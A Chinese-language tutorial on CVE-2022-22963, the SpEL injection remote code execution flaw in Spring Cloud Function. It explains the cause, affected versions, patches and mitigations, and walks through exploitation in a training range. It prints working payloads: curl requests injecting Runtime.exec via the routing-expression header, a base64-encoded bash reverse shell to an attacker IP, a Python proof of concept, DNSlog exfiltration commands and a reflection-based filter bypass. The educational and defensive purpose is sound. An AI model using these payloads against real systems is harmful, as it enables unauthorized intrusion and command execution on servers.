Spring Cloud Function SpEL注入漏洞(CVE-2022-22963)原理与实战复现

📅 2026/6/28 22:24:07
Spring Cloud Function SpEL注入漏洞(CVE-2022-22963)原理与实战复现
1. 项目概述一次针对Spring Cloud Function SpEL注入漏洞的深度剖析最近在整理一些经典的Web漏洞案例CVE-2022-22963这个编号又跳了出来。这是一个发生在Spring Cloud Function组件中的远程代码执行漏洞影响面在当时相当广。很多朋友可能对“漏洞复现”这个词有点误解觉得就是照着步骤点几下弹个计算器就完事了。其实不然真正的复现过程是对漏洞原理、利用条件、影响范围和安全修复的一次完整“解剖”。今天我就以“春秋云境”这个常见的靶场环境为背景带大家从头到尾走一遍CVE-2022-22963的复现与分析。这不仅仅是按下一个“攻击按钮”更是理解一个流行框架如何因为一个配置不当或设计疏忽导致整个应用防线失守的绝佳案例。无论你是刚入门的安全爱好者还是想巩固Web安全知识体系的从业者通过这个案例你都能对SpEL表达式注入、Spring框架的请求处理机制以及漏洞的防御思路有更深刻的认识。2. 漏洞核心原理与影响范围解析2.1 Spring Cloud Function与路由机制要理解这个漏洞首先得知道Spring Cloud Function是干什么的。简单来说它是Spring生态中用于支持“函数即服务”的一个组件。它允许开发者将业务逻辑编写成简单的java.util.Function接口实现然后框架负责将这些函数暴露为HTTP端点。其核心机制之一就是“动态路由”客户端可以通过HTTP请求头如spring.cloud.function.definition或spring.cloud.function.routing-expression来指定本次请求应该由哪个具体的函数来处理。这个设计本意是为了灵活但问题就出在处理“路由表达式”的环节。框架为了支持动态性允许通过routing-expression头传递一个Spring Expression Language表达式并用SpEL引擎去解析执行这个表达式最终决定路由到哪个函数。2.2 SpEL表达式注入的致命缺陷Spring Expression Language本身是一个非常强大的表达式语言常用于Spring框架内的各种动态求值场景比如Value注解、安全表达式等。它的强大之处在于其功能远不止简单的属性访问它支持方法调用可以直接调用对象的方法例如T(java.lang.Runtime).getRuntime().exec(calc)。类型构造使用T(FullClassName)来引用Java类型。赋值、算术、逻辑运算等。在CVE-2022-22963中罪魁祸首是SimpleEvaluationContext与StandardEvaluationContext的误用。Spring为了安全通常建议在解析不可信的表达式时使用SimpleEvaluationContext它极大地限制了可访问的属性和方法基本只允许数据绑定和简单的属性查找。而StandardEvaluationContext则功能完整可以执行任意代码。漏洞版本的Spring Cloud Function具体是3.1.6, 3.2.2以及更早的不受支持的版本在解析routing-expression头部时错误地使用了StandardEvaluationContext来评估用户输入的表达式。这意味着攻击者可以构造一个恶意的SpEL表达式通过HTTP头注入并被框架以高权限执行从而直接导致远程代码执行。2.3 影响版本与严重性这个漏洞的CVSS评分高达9.8临界。受影响版本明确为Spring Cloud Function 3.1.6Spring Cloud Function 3.2.2所有更早的、不受支持的分支版本如果你的应用使用了上述版本的spring-cloud-function-web依赖并且将Function作为HTTP端点暴露这是典型用法那么你的应用就处于风险之中。攻击者无需任何认证只需要发送一个特制的HTTP请求即可在服务器上执行任意命令危害极大。注意这里有一个常见的误区。很多修复建议说“升级到3.1.7或3.2.3即可”。这没错但更重要的是理解修复方式官方将routing-expression头的处理逻辑从使用StandardEvaluationContext切换为了SimpleEvaluationContext从根本上禁用了危险的功能。这也给我们一个启示在框架设计时面对用户输入默认使用最严格的解析上下文应是首要原则。3. 靶场环境搭建与漏洞复现实操3.1 “春秋云境”靶场环境准备“春秋云境”是一个集成了多种漏洞环境的在线靶场平台常用于安全学习和技能竞赛。我们假设目标环境已经部署了一个存在CVE-2022-22963漏洞的Spring Boot应用。通常这类靶机会提供一个Web接口其背后就是一个脆弱的spring-cloud-function-web应用。在开始前你需要准备攻击机一台Kali Linux虚拟机或任何安装了必要工具的Linux/MacOS系统。Windows系统建议使用WSL2。网络确保你的攻击机可以访问到靶场环境提供的IP地址和端口。工具Burp Suite用于拦截、重放和构造HTTP请求。社区版即可。curl命令行HTTP客户端用于快速测试。浏览器用于初步访问目标。首先用浏览器访问靶场提供的地址比如http://靶场IP:端口。你可能会看到一个简单的Web页面或者是一个Spring Boot的默认错误/欢迎页。这并不重要关键是要找到暴露的Function端点。通常Spring Cloud Function Web的默认根路径就是/或者通过/function等路径暴露。3.2 手工漏洞探测与利用最直接的利用方式就是构造一个包含恶意SpEL表达式的HTTP POST请求。这里我演示两种经典方式。方法一利用spring.cloud.function.routing-expression头这是最直接的利用向量。我们构造一个执行命令的SpEL表达式。例如在Linux靶机上执行touch /tmp/success命令来验证漏洞。curl -X POST http://靶场IP:端口 \ -H spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(touch /tmp/success) \ -H Content-Type: application/json \ -d {}请求拆解-X POST: 使用POST方法GET方法通常也行但POST更通用。-H “spring.cloud.function.routing-expression: ...“: 这是注入恶意表达式的关键请求头。表达式T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/success’)会实例化Runtime对象并执行系统命令。-d ‘{}’: 传递一个空的JSON体因为我们的利用不依赖请求体内容。执行后如果漏洞存在服务器会执行touch命令。如何验证呢如果靶场环境允许我们可以尝试执行一个能产生回显的命令比如执行curl或wget将结果发送到我们的监听服务器或者利用DNSlog外带数据。更简单粗暴的验证是如果靶机开放了执行更多命令的权限可以尝试反弹Shell。方法二利用spring.cloud.function.definition头进行链式利用在某些配置下直接使用routing-expression可能被过滤或处理方式不同。还有一种利用方式是通过definition头触发一个特定的函数该函数内部处理逻辑可能存在其他反序列化或表达式注入点。但对于CVE-2022-22963的核心利用第一种方法是最典型的。构造反弹ShellLinux靶机示例这是更具危害性的利用。假设我们的攻击机IP是192.168.1.100在4444端口监听。攻击机开启监听nc -lvnp 4444构造编码后的命令由于SpEL表达式和HTTP请求中特殊字符的问题我们通常需要对反弹Shell命令进行编码。使用bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}是一种常见方式。首先写出反弹Shell命令bash -i /dev/tcp/192.168.1.100/4444 01然后进行Base64编码echo -n “bash -i /dev/tcp/192.168.1.100/4444 01” | base64假设得到编码结果为YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ构造最终的SpEL表达式T(java.lang.Runtime).getRuntime().exec(new String[]{‘/bin/bash’, ‘-c’, ‘{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}’})这个表达式通过/bin/bash -c来执行一段复杂的管道命令该命令解码Base64并交给bash交互执行。发送恶意请求curl -X POST http://靶场IP:端口 \ -H “spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{‘/bin/bash’, ‘-c’, ‘{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}’})” \ -H “Content-Type: application/json” \ -d ‘{}’如果漏洞存在且靶机环境网络可达你将在攻击机的nc监听窗口中获得一个反向Shell。实操心得在实际测试中直接执行复杂命令常因空格、引号、管道符等问题失败。使用String[]数组传递命令参数比单个字符串更可靠。另外Java的Runtime.exec()并不直接支持Shell的语法如,|,因此需要启动/bin/bash -c来执行整个命令字符串。编码是绕过字符限制的好方法但要注意靶机是否安装了base64命令。3.3 使用自动化工具进行复现对于快速验证和批量检测可以使用自动化工具。网络上有很多公开的PoC脚本例如用Python编写的。使用工具时务必在授权环境下进行。一个简单的Python PoC示例仅用于演示思路import requests import sys def check_vulnerability(url): headers { ‘spring.cloud.function.routing-expression’: ‘T(java.lang.Runtime).getRuntime().exec(“touch /tmp/poc_test”)’, ‘Content-Type’: ‘application/json’ } try: resp requests.post(url, headersheaders, data‘{}’, timeout5) # 注意命令执行成功HTTP响应可能是500错误因为路由表达式执行结果不是一个合法函数名 # 所以不能单纯依据状态码判断需要结合其他手段如DNSlog外带 print(“[] 请求已发送请检查靶机 /tmp/poc_test 文件是否被创建以确认漏洞。”) except Exception as e: print(“[-] 请求失败:”, e) if __name__ ‘__main__’: if len(sys.argv) ! 2: print(“用法: python poc.py http://target:port”) sys.exit(1) check_vulnerability(sys.argv[1])工具使用的注意事项合法性绝对不要在未授权的情况下对任何系统进行测试。准确性自动化工具可能因为网络环境、靶机配置差异而误报或漏报。手工验证是金标准。隐蔽性在红队评估中自动化扫描的流量特征明显容易被防御设备发现。手工构造的请求可以增加一些随机头部或路径进行混淆。4. 漏洞深度分析与修复方案4.1 从源码层面看漏洞成因理解漏洞最好的方式就是看代码。我们可以查看漏洞版本如3.2.2中org.springframework.cloud.function.web.mvc.FunctionController或相关路由处理类的源码。关键逻辑在于处理请求头routing-expression的部分它会提取头部的值然后交给SpelExpressionParser进行解析。漏洞代码片段可能类似于Expression expression parser.parseExpression(routingExpression); // 错误地使用了StandardEvaluationContext EvaluationContext context new StandardEvaluationContext(); return expression.getValue(context);而修复版本3.2.3则将其改为Expression expression parser.parseExpression(routingExpression, ParserContext.TEMPLATE_EXPRESSION); // 使用限制性的SimpleEvaluationContext EvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); return expression.getValue(context, desiredType);SimpleEvaluationContext会禁止像T()这样的类型构造器和方法调用从而彻底封死了代码执行路径。4.2 官方修复方案与升级指南官方的修复非常直接和有效立即升级将Spring Cloud Function依赖升级到安全版本。对于3.2.x分支升级到3.2.3或更高。对于3.1.x分支升级到3.1.7或更高。注意3.0.x及更早的版本已停止维护应尽快升级到受支持的主线版本。Maven依赖示例dependency groupIdorg.springframework.cloud/groupId artifactIdspring-cloud-function-web/artifactId version3.2.3/version !-- 使用安全版本 -- /dependency审查依赖树使用mvn dependency:tree或Gradle的依赖分析工具确保所有子模块引入的spring-cloud-function-core等相关依赖也同步升级避免传递依赖引入旧版本。4.3 临时缓解措施如果因为某些原因无法立即升级可以考虑以下缓解措施但这些都不是根本解决方案WAF/网关拦截在应用前方的Web应用防火墙或API网关上配置规则拦截包含spring.cloud.function.routing-expression和spring.cloud.function.definition的请求头。但攻击者可能通过大小写变换、特殊编码等方式绕过。应用层过滤器在Spring Boot应用中编写一个Filter或Interceptor在请求进入Controller之前移除或清空这两个请求头。这种方法有一定风险如果过滤不彻底或影响正常业务功能。禁用HTTP端点如果业务不需要通过HTTP暴露Function可以考虑在配置文件中禁用spring.cloud.function.web.export.enabled。但这通常不现实因为使用该组件的目的往往就是为了提供HTTP服务。根本的教训这个漏洞再次提醒我们永远不要使用StandardEvaluationContext来解析任何来自用户输入的表达式。在框架设计和代码审查中对表达式解析引擎的使用必须保持最高警惕。5. 复现过程中的常见问题与排查技巧在实际复现过程中你可能会遇到各种问题。下面我整理了一个排查清单涵盖了从环境到利用的各个环节。5.1 命令执行无回显问题这是最常见的问题。你发送了Payload但不知道命令是否执行成功。排查思路使用无害命令验证首先使用最可能成功的命令如touch /tmp/test123、ping -c 1 你的DNSlog地址。对于Linuxtouch命令权限要求低成功与否容易通过后续手段如果可能检查。利用DNSlog外带这是最有效的无回显验证方法。使用一个DNSlog平台如dnslog.cn构造命令ping -c 1 your-subdomain.dnslog.cn。如果漏洞存在DNSlog平台上会收到解析记录。SpEL表达式示例T(java.lang.Runtime).getRuntime().exec(‘ping -c 1 xxxxxx.dnslog.cn’)使用Sleep命令通过Thread.sleep()来制造延迟观察请求响应时间。例如执行T(java.lang.Thread).sleep(5000)会让请求线程暂停5秒如果请求响应明显变慢则说明表达式被执行了。但这种方法不绝对可靠受网络环境影响大。写入Web目录如果知道Web应用的路径可以尝试写入一个文件如echo ‘test’ /path/to/webroot/shell.jsp然后通过浏览器访问该文件。这需要知道路径且有写权限。5.2 反弹Shell失败问题反弹Shell对网络和环境要求更高失败原因多样。排查清单网络连通性确保靶机可以访问攻击机的IP和端口。检查攻击机防火墙是否放行了对应端口。在靶机上如果能有其他方式执行命令用nc -zv 攻击机IP 4444测试。命令语法确保你的反弹Shell命令语法对靶机的Shell通常是/bin/bash是正确的。不同Shellsh, dash, csh语法有差异。编码与特殊字符HTTP请求和SpEL表达式对引号、反斜杠处理很敏感。使用String[]数组方式、Base64编码能极大避免这个问题。确保你的Base64编码字符串是正确的且没有换行符。Java Runtime.exec的局限性Runtime.exec不是Shell它不解析管道、重定向等符号。这就是为什么我们必须通过/bin/bash -c来包裹整个命令的原因。确保你的命令最终是作为一个完整的字符串参数传递给bash -c。靶机环境靶机可能没有bash只有sh可能没有nc可能出网流量被防火墙策略限制。尝试使用更通用的命令如/bin/sh -i /dev/tcp/...或者尝试使用Python、PHP、Perl等语言写的反弹Shell脚本看靶机是否安装了这些解释器。5.3 靶场环境特定问题“春秋云境”这类靶场可能做了限制。权限限制靶机进程可能以低权限用户运行无法在根目录写文件或者无法执行某些敏感操作。尝试在用户家目录或/tmp目录操作。命令过滤/WAF靶场可能在网络层或应用层对Runtime、exec、getRuntime等关键字进行了过滤。可以尝试使用字符串拼接、反射等技巧绕过。例如T(String).getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null).exec(“calc”)无外网连接靶场环境可能是纯内网无法进行DNSlog查询或反弹Shell到外网。这种情况下只能尝试盲注或者利用其他内网信息收集手段。5.4 工具与手动结合不要完全依赖自动化工具。当工具报告漏洞存在但利用不成功时切换到手动模式用Burp Suite拦截工具发送的请求仔细分析其构造的Payload并尝试修改。同时查看应用返回的HTTP响应有时错误信息会透露宝贵线索比如Java的异常堆栈可能会显示命令执行失败的原因。每一次失败的复现尝试都是一次深入学习的机会。分析失败原因的过程能让你对漏洞的触发条件、环境依赖和防御手段有更立体的认识这远比单纯点击“利用成功”更有价值。安全研究者的能力正是在解决这些“为什么不行”的问题中积累起来的。